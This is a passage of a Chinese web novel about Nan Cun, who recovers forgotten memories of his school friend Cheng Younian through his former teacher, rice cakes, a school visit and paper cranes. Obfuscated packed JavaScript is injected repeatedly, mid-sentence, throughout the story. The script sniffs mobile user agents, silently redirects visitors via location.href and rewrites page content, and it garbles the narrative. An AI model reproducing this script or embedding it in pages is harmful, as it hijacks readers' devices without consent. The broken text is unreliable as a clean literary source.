空气里都是各色小吃飘着缠在一起的香味。 是周末，南存结束了在图书馆的兼职，沿着路边的树荫慢悠悠往回走。 长裤的口袋微微鼓起，里面装着他今天日结的工资，是几张数额不大的纸币。 当时父亲临走前给南存塞了一千块钱，就算他想方设法省着用，自己也经常做兼职补贴，可开学后大大小小的费用一交，口袋里也不剩多少。 “新鲜出炉的粑粑——” 蒸笼掀开，浓郁的米香味随风而来。 南存一愣，循声望去，见一位年迈的婆婆佝偻着腰，正站在小摊热气腾腾的蒸笼边，招呼着自己新鲜出炉的米糕。 偶然回想起，小时候，外婆经常带自己穿过这条小路。 南存喜欢吃甜糯的食物，每次遇见出炉的热米糕，外婆都会给他买一块。 他就捧着油纸包着的小米糕一边走，一边吃。 等走到小区门口，就擦擦手，把沾着甜味的包装纸扔进垃圾桶里。 好多年过去了。 外婆不在了。 米糕也从两块钱涨到了三块钱。 南存摸了摸自己的口袋。 口袋里装着今天赚的三十块钱，这点钱还要用来买菜。 老街口的菜场早市价格便宜，三十块钱的菜够吃好几天。 南存微微垂下眼，抬步离开。 “南存！” 有人喊他的名字。 南存回头望去。 见老街川菜馆外，一个围着围裙的少年朝他挥挥手，而后一路小跑过来。 南存认识他。 蒋小芸介绍过，这位是她的邻居兼发小，叫程宥年。 程宥年是隔壁八班的，南存没和他说过话，但他经常来班里找蒋小芸。 一来二去的，便也耳熟了他的声音。 “好巧啊，你怎么在这儿？” 少年比南存高出半个头，南存习惯垂着眼，便只能看见少年整洁的衣领和利落的肩线。 “路过。” “哦……” 南存看看他身上印着“老街川菜”的围裙，又看看不远处热热闹闹的餐厅。 原本没想开口，但犹豫一下，还是说： “你在这兼职？” “是啊哈哈。” “但昨天补课，蒋小芸约你今天写作业，你拒绝了。” “呃……” “说要和朋友打球玩游戏。” “嗐，人人都有自己的不得已和小秘密，谁没撒过点小谎呢？行行好，别告诉小芸，不然她又得说我。” 男生被戳穿也不尴尬，只笑着解释。 南存点点头，轻轻抿了下唇角： “那你忙。” “你要……回家？” 程宥年看看他的样子。 “嗯。” “着急吗？不着急的话，作为你替我保守秘密的交换，我请你吃个饭怎么样。” 南存摇摇头： “不用。” “用，俗话说吃人嘴短，你受了我的好处，我才能安心不是？走吧。” “我……” “走吧走吧。” 南存想拒绝，但程宥年没给他这个机会。 回过神，南存已经坐在了桌边，程宥年问过他的喜好，给他点了一碗豌杂面。 老板上面时看了看桌边的程宥年，笑呵呵地问： “朋友啊？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099213|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是。” “好好照顾人家啊。” “那当然。” 豌杂面稍微有点辣，南存慢慢吃着，鼻尖出了一点点细小的汗珠。 他一早晨都在图书馆帮忙整理图书，忙得没顾上吃饭。 原本想回家随便煮点挂面吃，却不想遇见了程宥年。 这位不算熟的朋友格外热情，把他拉到店里，请他吃了一碗热腾腾的豌杂面。 豌杂面味道很好，这家店能在这里开这么多年，不是没有理由。 一碗面条很快见底，南存向程宥年道了谢，想给他付钱，却被他用先前那番说辞堵了回来。 南存便没再坚持。 他离开了热热闹闹的餐馆，迎着灰白色的天光走上了回家的小路。 可又走出去一截，他听见身后传来一段脚步声。 有人跑向他。 南存下意识回头看了一眼，就见程宥年从不远处而来。 少年的衣摆和发丝随奔跑的动作有节奏地摇晃着。 而后，靠近，站定。 南存只觉一团热气扑了上来，随之而来的，还有薄荷和青柠相融的香味。 “给你。” 程宥年拉起南存的手腕，往他手里放了个什么东西。 手心传来热腾腾的温度。 南存垂下眼，见手心里躺着一块刚出炉的白米糕。 微一出神，南存抬眼看向程宥年。 可程宥年没给他客气或者拒绝的机会。 只冲他扬唇笑笑： “给你吃。” 下一刻，少年转身，大步跑进天光下。 2016年，8月25日，阴。 有人坐在南存身边，陪他吃了一碗面。 问他，为什么看起来，总是不开心。 9. 2025-小雨 2025年，6月17日，4:27pm，北川，小雨。 风穿过树梢，枝叶摇摇晃晃，“沙沙”声谱出一段悠扬的旋律。 南存的发丝被轻轻拂起，发梢蹭过柔软的皮肤，有点痒。 白米糕和多年前一样，依旧是油纸包装。 捧在手里打开来，抬着糯香味的热气扑了一脸。 低头轻轻咬下一口，恰到好处的甜味在舌尖漫开。 是和记忆中一般无二的味道。 南存慢慢嚼着，偶然察觉脸颊有一丝热意。 下意识抬手轻轻擦拭，却触到一片湿润。 后知后觉，原来，躺在手上的小水珠，其实是自己的眼泪。 “哎呦，娃儿，怎么好端端地哭起来啦？” 卖白米糕的婆婆注意到南存的情绪，忙在围裙上擦擦手，扯了几张纸巾递给他。 南存接过，道了谢，又摇摇头： “没……想到一些以前的事。” 他擦干净那滴计划外的泪水，顿了顿，又道： “米糕很好吃。” “好吃就好。”婆婆笑了。 她比记忆里又老了一些，一笑起来，脸上的皱纹都堆在一起： “婆婆在这开了好多年啦，这种甜食，小娃儿最喜欢吃。他们吃我的米糕，我看着他们长大，年年都这样。” 南存垂眼，轻轻弯了弯唇角。 正巧，小摊旁又来了客人。 五六岁大的小男孩带着遮阳帽，牵着奶奶的手走过来，指着小摊奶声奶气地说“我想吃这个粑粑”。 婆婆见状，立马笑眯眯迎了过去。 人来人往，经过的人好像都一样，又好像都不一样。 南存站在路边，吃完一块米糕。 又像记忆里那样，把包装的油纸叠一叠，扔进了垃圾桶里。 他继续往前走去。 这原本是一场没有目的地的散步，兴尽就回头。 可出了老街，头顶阴沉沉的天色刮下了冰凉的雨丝。 起先，水滴落在身上，南存还以为是自己的错觉。 直到雨水低落的频率愈发急促，路人加快了各自的脚步，南存才意识到这是一场毫无预兆的雨。 他仰头看向天空，直到雨滴落进眼睫才回神。 转身迎着雨丝离开，大约是心里杂乱的思绪太多，他不小心撞到了一个人的肩膀。 那是个清瘦的女人，被他碰得一个踉跄，伞也差点脱手。 南存眼疾手快握住她的伞，又扶了她一把： “抱歉。” “没关系。” 女人在南存的搀扶下站稳，之后偶然抬眸看了他一眼，眸里闪过一丝讶异： “你是……” 闻言，南存也看向女人。 短暂的怔愣后，他点点头： “李老师。我是南存。” “小存，真的是你！” 李铭华看起来很高兴，没忍住虚虚抱了南存一下。 她还想说点什么，但开口前，她看了看天空不断下坠的雨滴，意识到现在并不是叙旧的好时候。 于是她冲南存笑笑： “什么时候回来了，也没跟老师说一声。哎这雨也不知道要下到什么时候，不然先去老师家坐坐？老师也想和你说说话。” 李铭华是个很好的老师，当年她听说了南存家里的情况，建议他申请助学金，走程序的时候出了点小问题，一直是李铭华跑前跑后，最后才让那笔钱顺利到了南存手中。 后来，她无论在学习还是在生活上都很照顾南存。 原本南存打算过两天再正式去李铭华家里拜访，谁想这么巧，一场突如其来的雨，让两个人碰了面。 南存跟李铭华回了家。 李铭华还住在原来的房子里，位置离二人相遇的地方不远，走两步路就到了。 遇见南存，李铭华看起来很高兴，一进门就念叨着晚上该做点什么好吃的来招待南存。 李铭华的家不大，墙壁和置物架上基本都是和学生的合照。 她喜欢在家里点香，简单的古法檀香，所以满屋都是一种很特别的、檀香夹带书香油墨的味道。 乍一闻到这个香味，南存略微有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099214|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些怔愣。 恍然想起曾经好像也有那么一次，他闻过这样的味道。 从充满泥土清新的雨丝里，到满室清浅檀香。 “坐呀，小存，别拘着，怎么几年不见还生分了呢？” 李铭华笑眯眯地给南存递了茶水： “想什么呢？” “啊，谢谢老师。” 南存垂眼接过，答： “在想，您家里的味道……很熟悉。” “当然熟悉了，以前不是经常来吗？” 李铭华坐在旁边的沙发上，给南存剥橘子吃： “我记得有一次也是这样。外边下雨了，你和另一个小男生淋了雨，被我遇见，让你们来家里坐坐等雨停。” 听见这话，南存愣住了。 他看向李铭华： “……有吗？” “有啊，虽然过去好多年了，但我记得很清楚。” 李铭华把剥好的橘子放在南存手里： “挺帅挺干净一个男生，我记得是隔壁班的吧。你和他关系好，所以印象特别深刻。” 李铭华这话说得十分自然，好像事情原本就是这个模样。 可落在南存耳里，听着却那样陌生。 他…… 曾经有一个关系很好、好到李铭华都知道的男生朋友？ 他一丁点也不记得，李铭华却十分笃定。 这让他所知道的现实出现了一点点微妙的割裂感。 “诶，那个男生叫什么来着，一时半会儿有些记不清了。好像是叫……” “程宥年。” 几乎没有思考，南存就报出了这个名字。 这种下意识的反应，让他自己都觉得陌生。 “啊，对对对，程宥年。” 李铭华弯起眼睛笑了。 南存却缓缓蜷起了手指。 努力想从混乱如旋涡的记忆里找出与他相关的那一片，却始终无解。 雨滴落在窗外的榆树叶片上，滴滴答答。 旁人都知道南存和程宥年关系好。 只有南存不知道。 10. 2016-小雨 2016年，10月17日，4:27pm，北川，小雨。 雨滴落在头顶的榆树叶片上，滴滴答答。 南存仰头看着被雨滴砸得轻晃的叶片。 下雨了。 很突然的一场雨。 让所有人都变得手忙脚乱。 “阿存！” 远远地，有人唤他。 南存循声望去，看见身材高挑的少年顶着一只黑色书包，朝他奔来。 “你迟到了，程宥年。” 南存看了眼时间。 比他们约定的时间晚了一分钟五十三秒。 “原谅我吧，突然下雨了，属于不可抗力。” 程宥年放下用来遮雨的帆布书包。 这只书包和他身上的衣服一样，都有些旧了，因为洗过很多次，边角都有些发白。 这个周末，蒋小芸约南存和程宥年一起去图书馆写作业。 可昨天蒋小芸突然说有事来不了，这场约定便只能由南存和程宥年两个人完成。 站在树下，程宥年拉开书包，从里面取出了一小团锡纸。 锡纸原本是给烧烤保温用，但程宥年站在树下小心翼翼打开它，露出一块用油纸又包了一层的米糕。 程宥年把那块米糕递给南存： “给你吃，就原谅我迟到吧，好不好？” 南存看着那块被精心存放的米糕。 又看了看发梢被雨打湿的程宥年。 如果不买这块米糕，这个人就不会迟到。 南存想到。 犹豫一下，他还是从程宥年手里接过了那块米糕。 边从口袋里摸出三块钱，递给程宥年。 “和我客气什么？” 程宥年没接那三张零钱，只冲南存笑笑： “都说了是给你道歉用的，你心安理得地接受就好了。” 南存原本还想和他辩论两句，但又想到，纠结太多或许会讨人嫌。 那，以后在别的地方把钱补给程宥年就好。 这样想着，南存拆开米糕的油纸，低头咬了一口。 图书自习室不让吃东西，南存便站在树下吃完再去。 程宥年就站在身边陪着他。 两个人听着雨声，看着过路的行人。 这似乎是匆忙世界中唯一的宁静。 “你好像很喜欢吃这家米糕？” 静默许久，身边的程宥年似随口一问： “为什么？” 米糕的甜香缠在南存舌尖。 他微微垂下眼： “小时候，外婆经常买给我吃。习惯了。” “哦……” 后面的故事不用南存言明，程宥年能猜到，故事的结尾与别离有关。 小雨淅淅沥沥，下个不停。 一块米糕在凉透之前被南存吃完。 约好一起去的自习室就在往前五十米的拐角处。 这场雨来得急，南存和程宥年都没有带伞。 淋着雨一路小跑过去，却和紧闭的店铺门对上了眼。 雨滴汇在门廊边缘，连成股落下。 南存抬眼，看着积水滴落的频率。 他没想到今天自习室会关门。 就像没想到今天会下雨。 这些小错误或许提前查好天气预报、提前来店面看一眼就能避免。 但他没能做到。 约好的行程出了这样的纰漏，应该会有点扫兴吧。 南存转头看向程宥年。 程宥年静静站在他身边，也像他刚才一样抬眼望着雨幕，唇角却带着淡淡的笑意。 “北川下场雨可太难得了，我们好幸运。” 程宥年笑着看向他： “也不知道什么时候才会停。” 幸运？ 南存对这两个字稍感意外。 “哎，南存？” 一道声音打断了南存的思绪。 循声看去，李铭华举着伞，站在门廊下瞧着两个少年： “你怎么在这？” “李老师。”南存和李铭华打了招呼，解释道： “本来想去自习室写作业，但今天关门了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099215|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他朝她示意紧闭的门帘。 李铭华知道这家自习室，店主是个退休的老教师。 老教师半辈子收藏了很多书，都放在这家店里，学生可以免费借阅，只要花两块钱买瓶矿泉水就可以在店里坐一下午。 现在下着雨，两个孩子再淋雨找别的去处也麻烦。 李铭华便邀请他俩去了自己家里。 原本南存有点犹豫，因为这似乎太麻烦李铭华了，而且他不确定程宥年乐不乐意。 但程宥年没有任何纠结，一句“真的吗那真是麻烦您了”，欣然接受了李铭华的邀请。 李铭华家就住在附近，房子不大，平时也鲜有客人。 她喜欢在家里点香，简单的古法檀香，所以满屋都是一种很特别的、檀香夹带书香油墨的味道。 家里的书桌有点小，南存和程宥年两个男生并肩坐在一起，稍微有点挤，却也不碍事。 只是南存一直闻到程宥年身上的香味。 薄荷、青柠，外加一点点苦涩的药味，被细雨打湿后便愈发明显。 程宥年成绩并不是很好，写两道题就得卡一卡。 一个人琢磨半天，实在想不出来，就问南存。 周末的作业不算多，认真写一个下午也就差不多完成了。 雨一直在下，染得天光也昏沉。 南存在薄荷青柠和油墨檀香之中静静地度过半日，稍晚一些的时候，又添了一丝饭菜香味。 李铭华留他们两个在家里吃饭，端上桌的菜很丰盛。 程宥年最喜欢那道可乐鸡翅，一连串的夸奖把李铭华都弄得有些不好意思。 “你们关系很好吧，我记得平时你就经常来班上找南存和蒋小芸。” 程宥年是个很讨人喜欢的孩子，李铭华看着他，也觉得亲切： “总是见南存闷闷不乐的，多几个朋友也好。能逗他笑笑。” “南存是不爱笑。” 程宥年的语气带着点点笑意，细节处，混着窗外细碎的雨声： “但我和南存，天下第一好。” 11. 2025-大风 2025年，6月18日，00:35pm，北川，大风。 南存蜷在床上，缓缓睁开眼睛，眸里满是血丝。 昨天从李铭华家里回来后，他便一直浑浑噩噩。 晚上躺在床上辗转反侧许久也无法入睡，一直到天蒙蒙亮才勉强沉入梦境。 可这梦也不大安稳。 他总是能看见一双盛着光亮的眼睛。 或者一片飘扬的衣角。 再或者，一点点似乎永远捎在唇边的笑意。 他听见有人叫他。 “阿存。” 清亮的，带着笑意的。 平静的，语调舒缓的。 沙哑的，带着安抚的。 “阿存。” 可南存什么都想不起来。 除了随着熟悉气味一起闯进脑海的、那些破碎的断断续续的画面。 他什么都想不起来。 他甚至想不起来那个人究竟长什么样子。 只记得他惯常的语气，和一个模模糊糊的身影。 恍然又想起了梦里那个人说过的。 “我和南存，天下第一好。” 南存想，自己或许应该给蒋小芸打一个电话，好好问问这究竟是什么情况。 程宥年，到底是什么人。 为什么所有人都知道他，可自己什么都不记得。 但回忆起自己在南江时，临走前蒋小芸明显不对劲的状态，和回北川之后各种没头没尾的奇怪问题，又觉得，事情好像没有那么简单，贸然去问，多半也问不到什么。 所以最终还是放下了手机。 但心中好像总是缺着一块，一静下来就隐隐作痛。 在床上低着头出神许久，南存还是起身洗漱，换了衣服。 今天又是阴天，灰云沉闷闷地压在心头。 南存独自出了门，按照记忆中的路线，步行许久，最终停在了写有“北川第三中学”字样的牌匾前。 六月下旬，学期到了尾声，齐声朗读的声音隐隐约约随风传来。 “哎，您好，请问有什么事吗？” 大概是看他在学校门口站了太久，保安亭有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099216|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探出头，问。 “啊，”南存回过神，淡声解释： “我是毕业生，可以进去看看学校吗？” 保安每年都能遇见这么几批回来怀念学生时代的毕业生，因此没多意外，只道： “是哪个老师班的？打个电话，有老师给我们吭一声你就可以进去了。” 于是南存又麻烦了李铭华。 校园和他记忆中没什么差别。 学生在体育课自由活动，笑闹声隔着很远传来。 今天的风很大，像是有无数双轻轻柔柔的手推着南存、温声催促他向前走。 “呼——” “沙——” 有什么东西轻轻砸在南存发梢。 怔愣一瞬，他抬手将它摘了下来。 那是一朵小小的四季桂。 学校里种了很多的桂花树。 数年过去，南存长大了，学校里的学生也换了一轮又一轮。 唯独它没变。 人走过，风一刮。 一瞬恍惚，便被花叶和香气扑了满怀。 12. 2017-大风 2017年，6月18日，00:35pm，北川，大风。 学校里种了很多的桂花树。 每当这些树开花的时候，人走过，风一刮。 一瞬恍惚，便被花叶和香气扑了满怀。 南存坐在四季桂下的长椅上。 今天风很大，吹得树枝和他的头发一起飘起来。 偶尔砸落的花叶落到他肩膀发梢，用指腹拈起来，就能闻到一股淡淡的桂花香气。 午休时间，学生们都在教室午睡，没回教学楼的也多半在篮球场或图书馆待着。 所以四季桂周围安安静静，只有不断奔跑着的风，还有静坐的南存。 “阿存！” 少年像风一样、像树梢坠落的花叶一般，携着淡淡的香味到了南存身边。 他在长椅边单膝跪下，歪头看看南存微垂的眼眸。 南存从他的目光里看见了一丝担忧。 不过他还是朝南存笑了笑： “我听小芸说，你不准备参加暑假补课了？怎么了？” 重点高中，课程和作业抓得都紧。 现在他们高二了，暑假一过就要升高三，按照往年惯例，正常学期结束后，学校还会安排二十天的补课。 补课是自愿参加的，因为不算在正常学期内，所以还要另外收取一部分课时费。 虽然单节课时费不高，但二十天的课程加在一起，也不是个小数目。 所以，不参加的原因很简单。 “没有钱。” 南存语气淡淡。 他连每学期的学杂费都交得勉强，要不是三中有学费补贴政策，他恐怕连学也没得上。 “啊……” 程宥年沉默片刻，没多犹豫，只对南存说： “你就坐这儿，等我一下，行不？” “怎么？”南存看向他，不知道这是什么意思。 “哎呀，你等我一下，我很快回来。等我啊！” 说完，程宥年站起身，转身朝学校大门的方向跑去。 又一阵风过。 南存微微眯起眼睛，看着程宥年离开的背影。 程宥年向来是个很守承诺的人。 他说自己很快就回来，果然，在午休结束之前，少年就沿着刚才离开的那条路，又跑回了南存身边。 南存不知道他是去干什么了，为什么看着这么累，把自己跑出了一身汗。 只知道程宥年看见他还坐在原地后，扬唇朝他笑着，再次单膝跪到了长椅边。 程宥年从自己口袋里摸着什么。 南存静静地看着，很快，他注意到，被程宥年拿出来的东西，是一折边角发黄泛旧的钞票。 那并不都是整钱，大数额的只有最外面的一张一百块。 被一百块折起来的，还有很厚一沓蓝蓝绿绿的零钱。 “我这一共是六百七十三，你先拿着，还差一百二十七……我明天之前拿给你好不好？” 程宥年抬眸看着南存，问。 明明手里只是多了一沓薄薄的纸片而已。 可不知为什么，南存觉得自己掌心好像被压了什么很沉重很沉重的东西。 重得他连抬起眼睫的力气都没有。 “不用。你拿回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099217|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去吧。” 南存的嗓音有些艰涩，他把钱往程宥年那边又递了递： “把钱给我了，你怎么办？” 这可以是八百块整，却不能是六百七十三。 这些零零散散的钞票是程宥年不知做了多少份兼职才攒起来的，南存不能要。 “我？我本来也没打算上这课，二十天呢，我干嘛花钱找罪受？这二十天出门玩多爽啊？” “那也不行……” “哎你拿着吧，别管我了，这算我借你的，等你长大之后挣钱了再还给我。怎么样？” 程宥年的语气很轻松。 这个人总是这样，身上的生命力挡也挡不住。 好像任何人、任何事，都无法伤害他、打败他。 “你要真不想上课，咱就算了，但我能看出来你想上。你成绩那么好，以后要考很好的大学。” 恰好那时，教学楼传来午休结束的铃声。 程宥年便站起身，边道： “快升高三了，课程多重要啊。咱大学霸要是被这二十天补课给耽误了，那多不值当？” 程宥年没给南存继续拒绝的机会。 他已经逆着风，踩着铃声，大步跑向了教学楼的方向： “就别跟我客气了！好好上课啊，我等你放假了一起玩！” 又一阵风过了。 风声擦过耳边。 花叶簌簌落下，模糊了少年愈行愈远的背影。 那是高考前的最后一个暑假。 南存口袋里有一点点桂花的香味。 还有两个少年，一起拼凑出的八百元。 13. 2025-雷 2025年，6月18日，3:19pm，北川，雷。 “铃——” 上课铃响起，走廊里传来匆匆忙忙的脚步声。 学生笑着闹着，伴着铃声冲向自己的教室。 整个过程十分短暂，待铃声落下的那一瞬，走廊也安静下来。 “现在的学生啊，一届比一届调皮，真是……” 李铭华刚当着南存的面教训完一个上课胡闹的学生，现在学生走了，她便也放下严厉的姿态，无奈地朝南存摇了摇头： “要所有的学生都和你一样懂事，我这白头发也能少长几根。” 南存捧着纸杯坐在沙发上。 他原本有些恍惚，闻言回过神，才轻轻抿了抿唇角。 “你好多年没回南江了吧，昨天光顾着叙旧，都忘了问，这次回来是就看看，还是打算回来北川发展？” 李铭华弯起眼睛笑着看着南存： “我看你在北川那边开了间工作室？” 南存点点头： “小画室，随便画画。” 小时候跟着外婆耳濡目染，自己也有天赋，所以南存心里一直有一颗小小的种子。 只是因为各种原因，种子深埋在土里，等到多年后满足了各种各样的条件，方才破土而出。 “你画得很好。” 对他，李铭华向来不吝啬夸奖。 说罢，她从座位上起身，走到办公室另一边的储物架： “你来，看看，还记得这个吗？” 南存看着她，依言起身走了过去。 李铭华要给他看的，是一个小小的画框。 画框里是一副简单的素描像，画的是李铭华。 以南存现在的眼光来看，这幅画的笔触很稚嫩，神态和特征把握得也不是很完美。 却还是值得被人好好装裱起来，放在木架上欣赏这么多年。 当年毕业的时候，班里有人组织大家给老师送毕业礼物。 南存送不了多好的，就只能用自己这除了做考卷以外的一点点能力，给李铭华送上一份心意。 “我当时一点也没想到你还有这特长，还想，你有这样的天赋，没有深造真是可惜，不过好在，你最后你没有错过这条路。” “轰隆——” 李铭华的尾音被窗外沉闷雷声吞没。 她扶了扶眼镜，转头看了眼： “这是又要下雨了。” 南存没有看窗外。 因为，正在他要转过视线时，他看见了被李铭华放在画框后的另外一样东西。 一只圆柱形的透明玻璃罐。 里面装着很多颜色各异的、小小的纸鹤。 可能是注意到了南存的视线，李铭华也看向那个玻璃罐，片刻，像是想起什么似的，把它从画框后拿了出来。 “昨天跟你说起那个叫程宥年的孩子，我才想起来。” 李铭华把玻璃罐递给南存： “这还是他毕业的时候送给我的。” 听见这话，南存略微有些意外。 因为，根据他为数不多的记忆来看，程宥年并不是李铭华的学生。 为什么他的毕业礼物会送到李铭华手里？ “不知道你清不清楚这事，虽然当时答应了那孩子要保密，但我想，都已经过去这么久了，告诉你应该也没关系了。” 李铭华语气带着一点点笑意，大概也是在为少年纯粹的感情感到欣慰： “当时你差点交不上补课费的事，是他告诉我的。” 过早独立的孩子自尊心都强，南存也一样。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099218|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他不愿意让别人看见自己脆弱的那一面，更不愿意向任何人开口诉说自己的困难。 所以，当时的李铭华只知道他懂事、独立，却不知道原来他有这样的问题。 “不然，我都不知道你这方面有困难，每次找你谈心，你也不开口跟我说。后来快毕业的时候，这孩子找到我，给了我这个，说谢谢我对你的关心和照顾，说小礼物不值钱，聊表心意。” 李铭华似乎也因南存的到来回忆起了更多有关程宥年的记忆。 那个少年的模样也在她的脑中一点点变得真实、清晰： “那真是很好、很会照顾人的一个男孩子。对了，他后来考了哪个大学，现在还好吗？” “……” 不知因为李铭华话中的哪句话，南存的大脑突然闪过一片空白。 人一恍神，手中的东西便也没拿稳。 “啪——” 玻璃罐脱了手，砸落在地，碎成了千万片。 其内彩色的纸鹤也铺开一地，像是午后画室里、走神打翻的调色盘。 “……对不起。” 南存立马蹲下身，下意识就要伸手去捡。 见状，李铭华赶紧叫住他： “哎小存，别拿手捡，当心伤着。我去拿扫把。” 南存的动作便也因这句话稍稍顿住。 李铭华去了办公室另一头拿打扫工具，而南存就那样蹲在原地。 他垂眼，看着那一地展翅的纸鹤。 学生时代，很流行带香味的折纸。 小小一包，各种颜色，只卖五毛钱，一打开就能闻到廉价香薰的气味。 “轰隆——” 阴云后，雷声滚滚。 是啊。 南存想。 又要下雨了。 14. 2017-雷 2017年，9月18日，3:19pm，北川，雷。 难得的阴天。 一大早起来，天空就被厚重的灰云布满。 天气预报说，今天有雨。 南存坐在自习室的椅子上，低着头，却没有完成今日的习题。 他有些出神，指间夹着一根木头铅笔，在作业本的空白处勾勾画画。 程宥年在旁边的位置趴着。 这个人来自习室最积极，坐到这里，倒头睡得也最快。 南存的思绪跑得有点远，笔下动作却一直没停。 直到身边传来窸窸窣窣的动静，他的笔尖一顿。 “……你在画画？” 刚睡醒的人，声音带了些慵懒和沙哑。 南存第一反应是拿本习题册挡住那个作业本，但这个动作却让程宥年察觉到了一点点不同寻常。 “画的什么？给我看看。” 他倾身凑近，南存却把画了小画的作业本挡得更紧。 程宥年笑得弯起了眼睛： “给我看看呗，看一眼，就一眼。” “不行。别挤我。” 南存往墙边靠了靠，但他刚让出一点位置，程宥年就挤得更近。 “看看，阿存，给我看看吧，我都不知道你还会画画，阿存——” “你……” 薄荷和青柠的香味越逼越近。 南存却把手里的习题册按得更紧： “……程宥年！” “咳咳！” 不远处，躺椅里的老店主终于无法再对他们的打闹视而不见。 出声提醒之后，他在二人看过来时抬手做了个噤声的手势。 见状，程宥年立马放弃逼问，恢复了正襟危坐的姿态。 不过这状态也没有维持太久，因为他很快就忍不住小声又说： “就给我看看呗？” “没什么好看的。” 南存把那个作业本压到了最下面。 他决定接下来的三个小时都不会再接程宥年的话。 但做出这个决定后没多久，程宥年就又稍稍靠近，压低声音问： “那咱俩做个交换怎么样？” 沉默片刻，南存没忍住，问： “什么？” 见他感兴趣，程宥年笑了。 他笑起来，眼睛和唇角都弯起来，让人一看就会心情变好。 “我把我会的东西教给你，作为交换，你也得把你会的东西给我看看。就你刚刚画的，好不好？” 还没等南存答应，程宥年就站起身，朝他神神秘秘一扬眉，出了自习室。 南存坐在玻璃后面，看程宥年进了隔壁的小商店。 没一会儿又回来了，手里还拿了一包方方正正的彩色小折纸。 南存就安安静静看着他，看他拆开折纸的塑料包装，从里面拿出一张淡蓝色的纸片。 这种折纸很常见，学校门口都有卖。 小小一包，各种颜色，只卖五毛钱，一打开就能闻到廉价香薰的气味。 南存不知道这样简单的纸片能在程宥年手里变出什么花样。 他好奇，所以看得格外认真。 就那样瞧着一张淡蓝色的纸片，被程宥年折来折去，最终变成了一只小小的纸鹤。 程宥年看看这只还算完美的小纸鹤。 然后捏着它的尾巴，把它放到了南存手心。 “怎么样？” 南存仔细看了看手里的小玩意。 他只在偶尔的广告海报看到过这种折纸的插图，再就是路过的礼品店会用折纸做装饰。 看人全程把纸片变成小鹤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099219|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……还从来没有过。 南存点了点头。 